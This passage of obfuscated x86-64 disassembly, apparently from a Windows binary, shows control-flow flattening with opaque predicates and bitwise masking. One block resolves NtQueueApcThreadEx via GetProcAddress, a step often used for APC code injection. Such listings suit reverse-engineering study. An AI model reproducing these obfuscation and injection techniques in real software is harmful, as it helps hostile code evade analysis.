and ebp, 0xc2cae3d5
or ebp, edi
or ecx, edx
and edx, 0x3d351c2a
and ebx, 0xc2cae3d5
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xff01a600
and ebp, 0xfe59ff
or ebp, edi
or ecx, ebx
and ebx, 0xff01a600
and edx, 0xfe59ff
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xade646c2
and ecx, 0x5219b93d
or ecx, ebp
xor ecx, 0x5219b93d
or ecx, edx
cmp ecx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
xor bl, 1
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
mov eax, ecx
xor al, 1
and bl, al
xor al, bl
test al, 1
mov eax, 0xc596e3f7
mov edx, 0xac84b784
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0xc596e3f7
cmovne ecx, edx
test bl, bl
jmp 0x14013dd20
mov ecx, 0xbce7ba65
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x14a9d8bc
and edx, 0xeb562743
or edx, ecx
mov ebp, edx
xor ebp, 0xa0460542
xor edx, 0x14a9d8bc
mov ecx, edx
and ecx, 0x4fb92a01
and ebp, 0xb046d5fe
or ebp, ecx
mov ecx, ebp
xor ecx, 0xb046d5fe
mov edi, ebp
xor edi, 0xc89cd6a0
and edi, ecx
or edx, 0x8725fca1
mov esi, edx
not esi
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xa5a3c07c
and edi, 0x5a5c3f83
or edi, eax
or ebx, edx
and edx, 0xa5a3c07c
and esi, 0x58580302
or esi, edx
xor esi, edi
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0x7f02103d
and ebx, 0x80fdefc2
or ebx, eax
xor ebx, 0x7d81362
xor ebp, 0x6b00a00
and ebp, 0x6b48b9e
mov eax, ecx
and eax, 0xf94b7461
or eax, ebp
xor eax, 0x6b48b9f
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
and al, cl
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
and dl, r9b
or al, dl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xf29967
mov ebp, 0xdaa5606f
cmovne eax, ebp
test cl, cl
mov ecx, 0xf29967
cmovne eax, ecx
test dl, dl
cmove eax, ebp
jmp 0x14013c911
mov ecx, 0x7e36190f
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x551d840b
and edx, ecx
and ecx, 0xaae27bf4
or ecx, ebp
mov ebp, ecx
xor ebp, 0xaa004890
xor ecx, 0x551d840b
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x45e3b765
and ebp, 0xba1c489a
or ebp, edi
or ecx, ebx
and ebx, 0x45e3b765
and edx, 0xba1c489a
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xb6244923
and edx, ecx
and ecx, 0x49dbb6dc
or ecx, ebp
xor ecx, 0x49dbb6dc
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
or cl, bl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
or al, r8b
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
and dl, bl
or dl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xc201032d
mov ebp, 0x48e01230
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xc201032d
jmp 0x14013dd20
mov ecx, 0x7c6afbd3
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x220949
mov edx, ebp
and edx, 0x59081022
or edx, ecx
xor edx, 0x59081022
and ebp, 0xa6d5e694
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xa6d5e694
and ebp, 0x592a196b
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x6fb2a358
and edx, ebp
not ebp
and ebp, 0x41f27008
and ecx, 0xbe0d8ff7
or ecx, ebp
mov ebx, ecx
xor ebx, 0xbe0d8ff7
mov ebp, ebx
and ebp, 0x6fb2a358
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x4f072571
and edx, 0xb0f8da8e
or edx, ebp
xor edx, 0xdf4a79d7
and ebx, 1
xor ecx, 0xbe0d8ff6
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x155e8b11
and ecx, 0xeaa174ee
or ecx, ebp
xor ecx, 0xeaa174ee
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xe04f0ca9
and edx, 0x1fb0f356
or edx, ecx
mov ecx, edx
xor ecx, 0x40410889
xor edx, 0x210e016
and edx, 0xa21ee436
and ecx, 0x5de11bc9
or ecx, edx
mov edx, ecx
xor edx, 0x14400941
xor ecx, 0x82148412
and ecx, 0xcbb5969a
and edx, 0x344a6965
or edx, ecx
mov ecx, edx
xor ecx, 0x9b4840a
xor edx, 0x10424804
and edx, 0xd2435a94
and ecx, 0x2dbca56b
or ecx, edx
xor ecx, 0x2dbca56b
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
and dl, cl
and bl, r8b
or bl, dl
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xa9a117e1
mov ebp, 0xe24be10e
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
jmp 0x14013dd1e
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b6e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0x5a544c7a
mov edx, ebx
and edx, 0xa5abb385
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xa5abb384
and edx, 0x5a544c7b
or edx, ebp
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x76ef362b
and edx, 0x8910c9d4
or edx, ebp
mov ebp, dword [0x14024b6e4]
and ebx, 0x76ef362b
and ecx, 0x8910c9d4
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
cmp ebp, 0xa
setl r8b
cmp ebp, 9
setg bl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov edx, ecx
or dl, r8b
xor cl, r8b
not cl
and cl, r8b
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
and cl, bl
xor bl, 1
xor dl, 1
mov r8d, ebx
xor r8b, dl
and r8b, bl
and dl, bl
or dl, cl
mov ebx, r8d
xor bl, dl
test dl, dl
mov ecx, 0xb52853f2
mov edx, 0x9072b124
cmovne ecx, edx
test r8b, r8b
mov ebp, 0xb52853f2
cmove ecx, ebp
mov qword [rsp + 0x38], rax
jmp 0x14013e3a7
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xb56fcd14
and edx, 0x4a9032eb
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xfe2d9f83
and edx, 0x1d2607c
or edx, ecx
xor edx, 0x4b425296
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
and al, cl
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xe81a8313
mov ebp, 0xaf6451a4
cmovne ecx, ebp
test dl, dl
mov edx, 0xe81a8313
cmove ecx, edx
test al, 1
jmp 0x14013c3eb
mov ecx, 0x6f0d797b
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x57a27600
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x5dc0d13f
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x423ced3b
and edx, ecx
or ecx, 0xbdc312c4
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf4d969b2
and ebp, 0x2248409
or ebp, edi
or ecx, ebx
and ebx, 0xf4d969b2
and edx, 0xb26964d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbd27dc3d
and ecx, 0x42d823c2
or ecx, edx
mov ebp, ecx
xor ebp, 0xa40ec0
xor ecx, 0xff1b3106
mov edx, ecx
or edx, 1
mov ebx, edx
not ebx
and ecx, 0x2851f03d
and ebp, 0xd7ae0fc2
or ebp, ecx
mov ecx, ebp
xor ecx, 0x52240181
xor ebp, 0x2851f03c
mov edi, edx
and edi, 0xaddace46
and ebx, 0x522531b8
or ebx, edi
or edx, ebp
and ebp, 0xaddace46
and ecx, 0x522531b9
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xae436a8f
and ecx, 0x51bc9570
or ecx, edx
mov edx, ecx
xor edx, 0x80020203
xor ecx, 0x50288500
and ecx, 0x7e69ed8c
and edx, 0x81961273
or edx, ecx
xor edx, 0x81961273
cmp edx, 0xffffffff
setne dl
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
xor dl, r8b
and dl, r8b
mov eax, r9d
xor al, dl
not al
and al, dl
or dl, r9b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
xor r9b, r8b
xor r9b, 1
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x5b540cf8
mov eax, 0xe521cab2
cmovne ecx, eax
test dl, 1
mov edx, 0x5b540cf8
cmovne ecx, edx
jmp 0x140138baf
mov ecx, 0xfb17008c
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x95d6501e
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
not eax
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x14024b6e4], 0xa
setl cl
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
not al
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xf646259d
mov ebp, 0xaf54ca7f
cmovne eax, ebp
test dl, dl
mov edx, eax
mov ebp, 0xf646259d
cmovne edx, ebp
test cl, cl
jmp 0x14013d76e
mov ecx, 0x79d38934
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x38bf5ad7
and ecx, 0xc740a528
or ecx, ebp
xor ecx, 0xc740a529
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb78da049
and ecx, 0x48725fb6
or ecx, edx
xor ecx, 0x48725fb6
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
or bl, cl
and cl, al
xor al, r8b
xor bl, 1
or bl, al
and dl, r8b
or dl, cl
mov eax, edx
and dl, bl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc717a376
mov ebp, 0xcf4e918c
cmovne eax, ebp
test cl, cl
mov ecx, 0xc717a376
cmove eax, ecx
test dl, 1
cmovne eax, ebp
jmp 0x14013c911
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ecx, 0x475d8610
and ebp, 0xb8a279ef
or ebp, ecx
mov ecx, ebp
xor ecx, 0xb0a020ad
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x494bdf42
and edx, 0xb6b420bd
or edx, ebx
xor ebp, 0x41498600
and ebp, 0x494bdf42
and ecx, 0xb6b420bd
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, bl
and cl, al
xor cl, dl
xor al, dl
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
not dl
and dl, cl
or al, dl
mov edx, eax
xor dl, bl
test al, al
mov ecx, 0xd126aab7
mov ebp, 0x97b52d0e
cmovne ecx, ebp
test bl, bl
mov eax, 0xd126aab7
cmove ecx, eax
test dl, 1
cmovne ecx, ebp
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x1e58ae2a
mov ebp, ebx
and ebp, 0xe1a751d4
or ebp, ecx
xor ebp, 0xe1a751d4
mov ecx, ebx
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, ecx
and edi, 0xc1f7e070
and ebp, 0x3e081f8f
or ebp, edi
or ecx, ebx
and ebx, 0xc1f7e070
and edx, 0x3e081f8f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfa2bbd7c
and ecx, 0x5d44283
or ecx, edx
xor ecx, 0x5d44283
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, ecx
mov eax, ecx
xor al, r9b
or cl, r9b
or r9b, r10b
xor r9b, 1
or bl, r8b
xor bl, 1
mov edx, r9d
and dl, bl
xor bl, r9b
or bl, dl
xor r10b, r8b
xor cl, 1
or cl, al
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, cl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x4729a371
mov ebp, 0x7cb26e86
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x4729a371
jmp 0x14013dd20
mov ecx, 0x5fb293a8
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0a0], rax
mov ecx, 0x721ed2d7
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x47db40f0
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x762da740
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x6f1e29a0
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov r9d, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xdaaadbfa
mov ecx, ebp
and ecx, 0x25552404
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4152000
xor ecx, 0xdaaadbfb
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0xf1c85c3c
and ebx, 0xe37a3c2
or ebx, eax
or ecx, esi
and esi, 0xf1c85c3c
and edx, 0xe37a3c3
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xd61d8e21
and ecx, 0x29e271de
or ecx, eax
mov eax, ecx
xor eax, 0x1604182
xor ecx, 0xd61d8e21
mov edx, ecx
and edx, 0xba8eba5c
and eax, 0x457145a3
or eax, edx
or ecx, ebp
and ebp, 0xba8eba5c
and edi, 0x457145a3
or edi, ebp
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0xd3e7d861
and ecx, 0x2c18279e
or ecx, eax
xor ecx, 0x2c18279e
sete r8b
setne r10b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg al
mov ebx, eax
xor bl, r11b
and bl, al
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, r10d
xor bl, dl
mov ecx, ebx
and cl, r10b
and bl, dl
mov edx, ecx
xor dl, 1
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
and r10b, r11b
or r11b, r8b
xor r11b, 1
and al, r8b
or al, r10b
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x91e523ab
mov edx, 0x285a909
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x91e523ab
jmp 0x14013dd20
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x30857dfa
and edx, 0xcf7a8205
or edx, ebp
mov ecx, edx
xor ecx, 0x30857dfa
xor edx, 0xcc7a8005
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xecfbd8ef
and ecx, 0x13042710
or ecx, edx
xor ecx, 0x13042711
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x6925d328
and ebp, 0x96da2cd7
or ebp, edi
or ecx, ebx
and ebx, 0x6925d328
and edx, 0x96da2cd7
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete bl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
or bl, dl
and dl, r8b
xor al, r8b
or al, dl
or cl, r8b
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x49457a21
mov ebp, 0xa0b4fc24
cmovne eax, ebp
test cl, 1
mov ecx, 0x49457a21
cmovne ecx, eax
test dl, 1
jmp 0x14013dd20
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0xcb1e8a64
mov edx, ebp
and edx, 0x34e1759a
or edx, ecx
xor edx, 0x34e1759a
mov ecx, ebp
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x80ac8fa1
and ecx, 0x7f53705e
or ecx, edx
mov edx, ecx
xor edx, 0x6a501056
and ebx, 0x228ee105
and ebp, 0xdd711efa
or ebp, ebx
mov ebx, ebp
xor ebx, 0x48501052
xor ecx, 0x80ac8fa1
xor ebp, 0x228ee105
mov edi, ecx
and edi, 0x9527efa8
and edx, 0x6ad81057
or edx, edi
or ecx, ebp
and ebp, 0x9527efa8
and ebx, 0x6ad81057
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe446f6e4
and ecx, 0x1bb9091b
or ecx, edx
xor ecx, 0x1bb9091b
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov eax, ecx
xor al, r9b
mov ebx, eax
xor bl, cl
and bl, al
and dl, r8b
and cl, r9b
or cl, dl
mov edx, ebx
xor dl, 1
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x10bec9a6
mov ebp, 0x2aa81b9c
cmovne ecx, ebp
test al, al
mov eax, ecx
mov ebp, 0x10bec9a6
cmovne eax, ebp
test dl, dl
cmovne eax, ecx
mov ecx, eax
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0xc7fbafd5
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x70cbda44
mov ecx, ebp
and ecx, 0x8f3425ba
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8324049a
xor ecx, 0x70cbda45
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0x5c9b6b20
and ebx, 0xa36494de
or ebx, eax
or ecx, esi
and esi, 0x5c9b6b20
and edx, 0xa36494df
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xe3814d4b
and eax, 0x1c7eb2b4
or eax, edx
or ecx, ebp
and ebp, 0xe3814d4b
and edi, 0x1c7eb2b4
or edi, ebp
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x7df59e1d
and ecx, 0x820a61e2
or ecx, eax
xor ecx, 0x820a61e2
sete al
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg r8b
mov ecx, ebx
and bl, r9b
and r9b, r8b
and cl, al
or cl, r9b
mov edx, ecx
xor dl, r8b
and dl, cl
and al, r8b
or bl, al
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
mov ecx, edx
xor cl, bl
and cl, dl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x7cb26e86
mov ebp, 0x81a94148
cmovne edx, ebp
test cl, cl
mov ecx, 0x7cb26e86
cmove edx, ecx
test al, 1
cmovne edx, ebp
jmp 0x14013e567
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, ecx
or edx, 0xaa5eda04
mov ebx, ecx
and ebx, 0xaa5eda04
mov ebp, edi
and ebp, 0x55a125fa
or ebp, ebx
and edx, 0xaa5eda05
xor edx, ebp
and edi, 0xe243293a
and ecx, 0x1dbcd6c5
or ecx, edi
mov ebp, ecx
xor ebp, 0x1080081
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x7eb4ff6e
and edx, 0x814b0091
or edx, edi
xor ecx, 0x6200292a
and ecx, 0x7eb4ff6e
and ebp, 0x814b0091
or ebp, ecx
xor ebp, edx
xor ebx, ebp
test ebx, ebp
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov ecx, r8d
or cl, bl
xor cl, 1
and bl, r8b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov ecx, edx
and cl, r8b
xor dl, r8b
or cl, dl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xee120839
mov ecx, 0xb58d6427
cmovne edx, ecx
test al, 1
mov ecx, 0xee120839
cmovne ecx, edx
jmp 0x14013d3d1
mov ecx, 0x2d1ea4c5
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x6427934f
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x3746fd2d
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov edx, edi
or edx, 0x413c1a3c
mov ecx, edx
not ecx
mov ebp, esi
or ebp, 0xb2800182
and ebp, 0xf39009a6
mov ebx, edi
and ebx, 0x2c1218
or ebx, ebp
and edx, 0xf39009a6
and ecx, 0xc43e441
or ecx, edx
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xbec3e5c2
and ecx, 0x413c1a3d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x399d4d4f
and ecx, 0xc662b2b0
or ecx, edx
mov edx, ecx
xor edx, 0x4022b010
xor ecx, 0x399d4d4f
mov ebp, ecx
and ebp, 0xaf594fea
and edx, 0x50a6b015
or edx, ebp
or ecx, esi
and esi, 0xaf594fea
and edi, 0x50a6b015
or edi, esi
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x6a5f7a4e
and ecx, 0x95a085b1
or ecx, edx
xor ecx, 0x95a085b1
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r10b
not al
and al, r10b
mov ebx, ecx
or bl, r10b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, r9d
xor r9b, r10b
and r10b, cl
and dl, r8b
or dl, r10b
or cl, r8b
xor cl, 1
or cl, r9b
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
xor al, 1
and al, cl
or dl, al
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x8a4c6a19
mov edx, 0x60ed1763
cmovne ecx, edx
test bl, 1
mov ebp, 0x8a4c6a19
cmove ecx, ebp
jmp 0x14013e66b
mov ecx, 0xc0362475
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0xc596e3f7
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x4fe64ea
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
not ebp
mov ebx, ebp
